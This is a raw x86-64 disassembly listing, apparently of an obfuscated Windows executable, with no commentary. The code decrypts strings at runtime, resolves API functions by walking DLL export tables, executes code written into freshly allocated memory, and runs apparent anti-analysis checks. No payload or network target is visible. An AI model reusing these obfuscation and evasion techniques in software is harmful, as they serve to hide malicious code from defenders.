xor edx, edx
mov eax, 0x49cd3990
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140031e3c
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140031e3c
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140031e5c
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.1400a1678
int3
lea rdi, [rbp + 0x285d0]
xor eax, eax
mov ecx, 0x105
rep stosb byte [rdi], al
mov r8d, 0x104
lea rdx, [rbp + 0x285d0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x140031ff8
movdqa xmm0, xmmword [0x140103180]
movdqu xmmword [rbp + 0x3f8], xmm0
mov word [rbp + 0x408], 0xee
mov r10, r14
mov esi, 0xf2601420
movabs r8, 0x1018615631
lea r11d, [rax + 0x11]
movabs r9, 0x2030c2ac62
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, rbx
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x3f8], dil
inc r10
add r8, r12
add r11, 0x11
cmp r8, r9
jb 0x140031ec2
mov byte [rbp + 0x409], r14b
movdqa xmm0, xmmword [0x140103090]
movdqu xmmword [rbp + 0xb78], xmm0
movdqa xmm1, xmmword [0x1401031f0]
movdqu xmmword [rbp + 0xb88], xmm1
mov word [rbp + 0xb98], 0x683a
xor eax, eax
mov byte [rbp + 0xb9a], al
mov r8, r14
lea r10d, [rax + 0x22]
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, rbx
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0xb78]
xor dil, r8b
mov byte [rbp + r8 + 0xb78], dil
inc r8
add r9, r12
add r10, 0x22
movabs rax, 0x40618558c4
cmp r9, rax
jb 0x140031f5e
mov byte [rbp + 0xb9a], r14b
xor r9d, r9d
lea r8, [rbp + 0x3f8]
lea rdx, [rbp + 0xb78]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.1400a1678
int3
mov edi, dword [r13 + 0x50]
mov r13, qword [rbp + 0xe58]
mov qword [rbp + 0xf50], r13
cmp qword [0x1401324f0], r14
jne 0x140032034
mov ecx, 0x26b0
call fcn.1400a5f3c
test rax, rax
je 0x140032034
mov qword [rax], r14
mov qword [rax + 8], 0x19c
mov qword [0x1401324f0], rax
mov qword [rbp + 0xe60], r14
mov qword [rbp + 0x1020], rdi
movdqa xmm0, xmmword [0x1401032e0]
movdqu xmmword [rbp + 0x7e8], xmm0
mov dword [rbp + 0x7f8], 0x15d46150
mov dword [rbp + 0x7fc], 0x6e26d0
mov rdi, r14
movabs r13, 0xca8495ff84371
mov qword [rsp + 0x20], r13
mov r9d, reloc.WS2_32.dll_socket
mov r8, rdi
mov dl, byte [rbp + rdi + 0x7e8]
lea rcx, [rbp + 0x7e8]
call fcn.14003be7c
xor al, dil
mov byte [rbp + rdi + 0x7e8], al
inc rdi
cmp rdi, 0x17
jb 0x140032073
mov byte [rbp + 0x7ff], r14b
or rdx, 0xffffffffffffffff
mov rbx, qword [0x1401324f0]
test rbx, rbx
mov r13, qword [rbp + 0xf50]
je 0x14003218f
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x140032147
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
cmovb rcx, rdx
call fcn.1400a5f3c
mov rsi, rax
test rax, rax
je 0x14003218c
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x1401324f0]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400c4130
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400c47d0
mov rcx, rdi
call fcn.1400a5e18
mov qword [0x1401324f0], rsi
mov rbx, rsi
lea rax, [rbp + 0x7e8]
mov qword [rbp + 0xf60], rax
mov qword [rbp + 0xf68], Ordinal_33
mov byte [rbp + 0xf70], 0
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
xor r14d, r14d
mov dword [rbp + 0x70], 0x84015c7a
mov dword [rbp + 0x74], 0xe3e51d90
mov word [rbp + 0x78], 0x88
mov rdi, r14
movabs rbx, 0xca8495ff84371
mov qword [rsp + 0x20], rbx
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x70]
lea rcx, [rbp + 0x70]
call fcn.14003bd94
xor al, dil
mov byte [rbp + rdi + 0x70], al
inc rdi
cmp rdi, 9
jb 0x1400321b0
mov byte [rbp + 0x79], r14b
mov rbx, qword [0x1401324f0]
test rbx, rbx
je 0x1400322ba
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x140032274
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.1400a5f3c
mov rsi, rax
test rax, rax
je 0x1400322b7
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x1401324f0]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400c4130
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400c47d0
mov rcx, rdi
call fcn.1400a5e18
mov qword [0x1401324f0], rsi
mov rbx, rsi
lea rax, [rbp + 0x70]
mov qword [rbp + 0xf60], rax
mov eax, 0xa
mov qword [rbp + 0xf68], rax
mov byte [rbp + 0xf70], 0
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
xor r14d, r14d
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x70]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
test rax, rax
je 0x140032347
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140032347
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140032347
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140032347
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov ebx, dword [rax + 0x24]
add rbx, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r14
mov esi, dword [rax + 0x18]
test rsi, rsi
je 0x140032347
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x7e8]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14003233a
inc rax
test edi, edi
jne 0x140032325
test r8d, r8d
je 0x1400323be
inc rdx
cmp rdx, rsi
jb 0x140032314
mov esi, r14d
mov rdi, qword [0x1401324f0]
mov r15, qword [rdi]
mov rax, qword [rdi + 8]
lea rcx, [rax + rax*2]
lea r12, [rcx*8 + 0x10]
xor edx, edx
test r15, r15
jle 0x140032593
lea rbx, [rdi + 0x10]
movups xmm1, xmmword [rbx]
movsd xmm0, qword [rbx + 0x10]
movsd qword [rbp + 0xf70], xmm0
movq rcx, xmm1
test rcx, rcx
je 0x140032580
psrldq xmm1, 8
movq r8, xmm1
test r8, r8
je 0x140032580
mov al, byte [rbp + 0xf70]
test al, al
jne 0x140032545
xor edx, edx
call fcn.1400c47d0
jmp 0x14003257e
movzx eax, word [rbx + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140032347
mov r14d, dword [rdx + 4]
xor edi, edi
test r14d, r14d
jns 0x1400323e2
xor r14d, r14d
jmp 0x140032347
mov r9d, 4
mov r12d, 0x3000
mov r8d, r12d
mov r15d, 0x1000
mov edx, r15d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
call fcn.14009a6b0
or dword [rbp + 0x9b34], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x87b0]
call fcn.14003c958
lea rcx, [rbp + 0x87b0]
call fcn.14003bef0
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
lea rcx, [rbp + 0x87b0]
call fcn.14003bef0
mov eax, eax
mov qword [rbp + rdi*8 + 0x466e0], rax
inc rdi
cmp rdi, 0x200
jl 0x140032459
mov r8, r15
lea rdx, [rbp + 0x466e0]
mov rcx, rbx
call fcn.1400c4130
mov dword [0x140123644], r14d
lea rdi, [rsi + rbx]
movsd xmm0, qword [0x140123640]
movsd qword [rdi], xmm0
movzx eax, word [0x140123648]
mov word [rdi + 8], ax
mov al, byte [0x14012364a]
mov byte [rdi + 0xa], al
xor r14d, r14d
mov dword [rbp + 0xfcc], r14d
lea r9, [rbp + 0xfcc]
lea r8d, [r14 + 0x20]
mov rdx, r15
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], r12d
lea r9, [rbp + 0x1020]
lea r8d, [r14 + 3]
lea rdx, [rbp + 0xe60]
mov rcx, r13
call rdi
mov esi, eax
lea r9, [rbp + 0xfcc]
mov r8d, dword [rbp + 0xfcc]
mov rdx, r15
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8, r15
xor edx, edx
mov rcx, rbx
call fcn.1400c47d0
lea edx, [r14 + 0xb]
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140123644], r14d
jmp 0x14003234a
cmp al, 1
jne 0x140032580
mov rdx, rcx
lea rcx, [rbp + 0x1168]
call fcn.14003c6c0
xor edx, edx
lea rcx, [rbp + 0x1168]
call fcn.14003c874
lea rcx, [rbp + 0x1168]
call fcn.14003c804
lea rcx, [rbp + 0x1168]
call fcn.14001b6c8
xor edx, edx
inc r14d
add rbx, 0x18
movsxd rax, r14d
cmp rax, r15
jl 0x140032373
mov r8, r12
xor edx, edx
mov rcx, rdi
call fcn.1400c47d0
mov rcx, rdi
call fcn.1400a5e18
xor r15d, r15d
mov qword [0x1401324f0], r15
test esi, esi
js 0x14003a8e3
mov rax, qword [rbp + 0xe60]
mov qword [rbp - 0x28], rax
test rax, rax
je 0x14003a8e3
mov r13, qword [rbp + 0xe58]
mov ecx, 0x26b0
call fcn.1400a5f3c
test rax, rax
je 0x1400325f6
mov qword [rax], r15
mov qword [rax + 8], 0x19c
mov qword [0x1401324f0], rax
mov qword [rbp + 0xe68], r15
mov qword [rbp + 0x1010], 0x1000
movdqa xmm0, xmmword [0x1401032e0]
movdqu xmmword [rbp + 0x800], xmm0
mov dword [rbp + 0x810], 0x15d46150
mov dword [rbp + 0x814], 0x6e26d0
mov rdi, r15
movabs r14, 0xca8495ff84371
mov qword [rsp + 0x20], r14
mov r9d, reloc.WS2_32.dll_socket
mov r8, rdi
mov dl, byte [rbp + rdi + 0x800]
lea rcx, [rbp + 0x800]
call fcn.14003be7c
xor al, dil
mov byte [rbp + rdi + 0x800], al
inc rdi
cmp rdi, 0x17
jb 0x140032639
mov byte [rbp + 0x817], r15b
mov rbx, qword [0x1401324f0]
test rbx, rbx
je 0x140032760
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x14003270c
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.1400a5f3c
mov rsi, rax
test rax, rax
je 0x140032753
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x1401324f0]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400c4130
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400c47d0
mov rcx, rdi
call fcn.1400a5e18
mov qword [0x1401324f0], rsi
mov rbx, rsi
xor r15d, r15d
lea rax, [rbp + 0x800]
mov qword [rbp + 0xf60], rax
mov qword [rbp + 0xf68], Ordinal_33
mov byte [rbp + 0xf70], r15b
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
jmp 0x140032756
xor r15d, r15d
movabs r14, 0xca8495ff84371
mov dword [rbp + 0x60], 0x84015c7a
mov dword [rbp + 0x64], 0xe3e51d90
mov word [rbp + 0x68], 0x88
mov rdi, r15
mov qword [rsp + 0x20], r14
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x60]
lea rcx, [rbp + 0x60]
call fcn.14003bd94
xor al, dil
mov byte [rbp + rdi + 0x60], al
inc rdi
cmp rdi, 9
jb 0x140032777
mov byte [rbp + 0x69], r15b
mov rbx, qword [0x1401324f0]
test rbx, rbx
je 0x140032886
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x14003283e
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.1400a5f3c
mov rsi, rax
test rax, rax
je 0x140032883
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x1401324f0]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400c4130
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400c47d0
mov rcx, rdi
call fcn.1400a5e18
mov qword [0x1401324f0], rsi
mov rbx, rsi
xor r15d, r15d
lea rax, [rbp + 0x60]
mov qword [rbp + 0xf60], rax
mov eax, 0xa
mov qword [rbp + 0xf68], rax
mov byte [rbp + 0xf70], r15b
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
jmp 0x140032886
xor r15d, r15d
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x60]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
test rax, rax
je 0x140032917
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140032917
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140032917
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140032917
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov ebx, dword [rax + 0x24]
add rbx, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r15
mov esi, dword [rax + 0x18]
test rsi, rsi
je 0x140032917
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x800]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x140032906
inc rax
test edi, edi
jne 0x1400328f1
test r8d, r8d
je 0x140032995
inc rdx
cmp rdx, rsi
jb 0x1400328e0
mov esi, r15d
mov rdi, qword [0x1401324f0]
mov r15, qword [rdi]
mov rax, qword [rdi + 8]
lea rcx, [rax + rax*2]
lea r12, [rcx*8 + 0x10]
xor r13d, r13d
mov r14d, r13d
test r15, r15
jle 0x140032b65
lea rbx, [rdi + 0x10]
movups xmm1, xmmword [rbx]
movsd xmm0, qword [rbx + 0x10]
movsd qword [rbp + 0xf70], xmm0
movq rax, xmm1
test rax, rax
je 0x140032b52
psrldq xmm1, 8
movq r8, xmm1
test r8, r8
je 0x140032b52
mov cl, byte [rbp + 0xf70]
test cl, cl
jne 0x140032b18
xor edx, edx
mov rcx, rax
call fcn.1400c47d0
jmp 0x140032b52
movzx eax, word [rbx + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140032917
mov r14d, dword [rdx + 4]
test r14d, r14d
js 0x140032917
cmp cl, 1
jne 0x140032b52
mov rdx, rax
lea rcx, [rbp + 0x1148]
call fcn.14003c6c0
xor edx, edx
lea rcx, [rbp + 0x1148]
call fcn.14003c874
lea rcx, [rbp + 0x1148]
call fcn.14003c804
lea rcx, [rbp + 0x1148]
call fcn.14001b6c8
inc r14d
add rbx, 0x18
movsxd rax, r14d
cmp rax, r15
jl 0x140032947
mov r8, r12
xor edx, edx
mov rcx, rdi
call fcn.1400c47d0
mov rcx, rdi
call fcn.1400a5e18
mov qword [0x1401324f0], r13
test esi, esi
js 0x14003a753
mov r12, qword [rbp + 0xe68]
mov qword [rbp - 0x50], r12
test r12, r12
je 0x14003a753
movabs rax, 0xfc7aeea332188
mov qword [rbp + 0x1228], rax
movabs rax, 0xd9938cff1332a
mov qword [rbp + 0x1230], rax
lea rax, [r12 + 0x28]
mov qword [rbp + 0x1238], rax
mov rsi, qword [rbp - 0x28]
mov qword [rbp + 0x1240], rsi
mov rax, qword [rbp + 0xfe8]
mov eax, dword [rax + 0x50]
mov qword [rbp + 0x1248], rax
mov r14, qword [rsp + 0x70]
mov qword [rsp + 0x70], r14
movabs rax, 0xa9ff9483ccaeddf
mov qword [rbp + 0xf50], rax
mov qword [rbp + 0xf58], r13
mov r8d, r13d
mov rdi, r13
mov r15d, 1
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rsp + rdi + 0x70]
imul ecx, eax
movzx eax, byte [rbp + rdi + 0xf50]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xf58], cl
add rdi, r15
cmp r8d, 8
jb 0x140032c15
mov ebx, r13d
mov rax, r13
lea r8, [rbp + 0x1228]
movabs r12, 0x8080808080808081
and eax, 7
movzx edi, byte [rbp + rax + 0xf58]
mov r11b, dil
xor r11b, 0x28
mov esi, edi
mov r9d, r13d
lea r10, [rbp + 0xf58]
movzx ecx, byte [r10]
movzx eax, dil
add rcx, rax
xor rcx, qword [rbp + 0xf58]
mov rax, r12
imul rcx
add rdx, rcx
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
mov rdi, rcx
sub rdi, rax
add r9d, r15d
add r10, r15
cmp r9d, 8
jb 0x140032c8e
movzx ecx, r11b
add ecx, esi
movzx eax, dil
add ecx, eax
mov eax, 0x80808081
mul ecx
shr edx, 7
imul eax, edx, 0xff
sub ecx, eax
add cl, byte [r8]
xor cl, dil
mov byte [r8], cl
add ebx, r15d
add r8, r15
movsxd rax, ebx
cmp rax, 0x28
jb 0x140032c70
mov qword [rbp + 0xf58], r14
movabs rax, 0xa9ff9483ccaeddf
mov qword [rsp + 0x70], rax
xor esi, esi
mov qword [rbp + 0xf50], rsi
mov r8d, esi
mov edi, esi
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rbp + rdi + 0xf58]
imul ecx, eax
movzx eax, byte [rsp + rdi + 0x70]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xf50], cl
add rdi, r15
cmp r8d, 8
jb 0x140032d2e
mov r11d, esi
mov rax, rsi
lea r8, [rbp + 0x285d0]
and eax, 7
movzx edi, byte [rbp + rax + 0xf50]
mov r10b, dil
xor r10b, 5
mov ebx, edi
mov ecx, esi
lea r9, [rbp + 0xf50]
movzx edi, dil
movzx eax, byte [r9]
add rdi, rax
xor rdi, qword [rbp + 0xf50]
mov rax, r12
imul rdi
add rdx, rdi
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
sub rdi, rax
add ecx, r15d
add r9, r15
cmp ecx, 8
jb 0x140032d9c
movdqa xmm0, xmmword [0x140103180]
movdqu xmmword [rbp + 0x3b0], xmm0
mov word [rbp + 0x3c0], 0xee
mov r10, r13
mov ebx, 0xf2601421
movabs rsi, 0x8080808080808081
movabs r8, 0x1018615631
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x2030c2ac62
mov r14d, 0xf2601420
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x3b0], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x14003a79e
mov byte [rbp + 0x3c1], r13b
movdqa xmm0, xmmword [0x140102fe0]
movdqu xmmword [rbp + 0x958], xmm0
mov dword [rbp + 0x968], 0xb08d88c9
mov dword [rbp + 0x96c], 0xa64a28b7
mov dword [rbp + 0x970], 0xc026fd74
xor eax, eax
mov byte [rbp + 0x974], al
mov r8, r13
movabs r9, 0x1a8282339c
lea r10d, [rax + 0x1c]
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0x958]
xor dil, r8b
mov byte [rbp + r8 + 0x958], dil
inc r8
add r9, rbx
add r10, 0x1c
movabs rax, 0x3505046738
cmp r9, rax
jb 0x14003a849
mov byte [rbp + 0x974], r13b
xor r9d, r9d
lea r8, [rbp + 0x3b0]
lea rdx, [rbp + 0x958]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.1400a1678
int3
movdqa xmm0, xmmword [0x140103180]
movdqu xmmword [rbp + 0x308], xmm0
mov word [rbp + 0x318], 0xee
mov r10, r15
mov ebx, 0xf2601421
movabs rsi, 0x8080808080808081
movabs r8, 0x1018615631
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x2030c2ac62
mov r14d, 0xf2601420
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r10 + 0x308]
xor dil, r10b
mov byte [rbp + r10 + 0x308], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x14003a92e
mov byte [rbp + 0x319], r15b
movdqa xmm0, xmmword [0x1401030d0]
movdqu xmmword [rbp + 0x740], xmm0
mov dword [rbp + 0x750], 0x764f57a4
mov word [rbp + 0x754], reloc.WLDAP32.dll_Ordinal_22
mov r9, r15
mov r11d, reloc.WS2_32.dll_setsockopt
movabs r8, 0x13e1e1a6b5
movabs r10, 0x27c3c34d6a
mov cl, r9b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r9b
xor byte [rbp + r9 + 0x740], dil
inc r9
add r8, rbx
add r11, 0x15
cmp r8, r10
jb 0x14003a9da
mov byte [rbp + 0x755], r15b
xor r9d, r9d
lea r8, [rbp + 0x308]
lea rdx, [rbp + 0x740]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.1400a1678
int3
mov ebx, 0xa892da90
cmp rax, rbx
jne 0x14003ab12
mov rax, qword gs:[0x10]
movabs rcx, 0xf02c856a42fbcf00
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x10]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x10]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003aaf2
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003aaf2
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003ab12
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.1400a1678
int3
movdqa xmm0, xmmword [0x140103180]
movdqu xmmword [rbp + 0x350], xmm0
mov word [rbp + 0x360], 0xee
mov r10, r14
movabs rsi, 0x8080808080808081
movabs r8, 0x1018615631
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x2030c2ac62
mov r15d, 0xf2601420
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r10 + 0x350]
xor dil, r10b
mov byte [rbp + r10 + 0x350], dil
inc r10
add r8, r12
add r11, 0x11
cmp r8, r9
jb 0x14003ab58
mov byte [rbp + 0x361], r14b
movdqa xmm0, xmmword [0x140103040]
movdqu xmmword [rbp + 0x818], xmm0
mov dword [rbp + 0x828], 0x2976bd24
mov dword [rbp + 0x82c], 0x76ea7b
mov r8, r14
movabs r9, 0x15c6a1cef7
mov r10d, reloc.WS2_32.dll_socket
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x818], dil
inc r8
add r9, r12
add r10, 0x17
movabs rax, 0x2b8d439dee
cmp r9, rax
jb 0x14003abfb
mov byte [rbp + 0x82f], r14b
xor r9d, r9d
lea r8, [rbp + 0x350]
lea rdx, [rbp + 0x818]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x50]
cmp rax, rbx
jne 0x14003ad41
mov rcx, qword gs:[0x10]
xor edx, edx
mov eax, 0x14f86770
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x10]
xor edx, edx
mov eax, 0x145cd41f
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x10]
xor edx, edx
mov eax, 0x49cd3990
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003ad21
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003ad21
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003ad41
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
mov rax, qword gs:[0x50]
cmp rax, rbx
jne 0x14003b3e3
mov rax, qword gs:[0x10]
mov ebx, 0x109b63cf
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x10]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x10]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003add4
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003add4
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003b3e3
mov rax, qword [rbp + 0xf40]
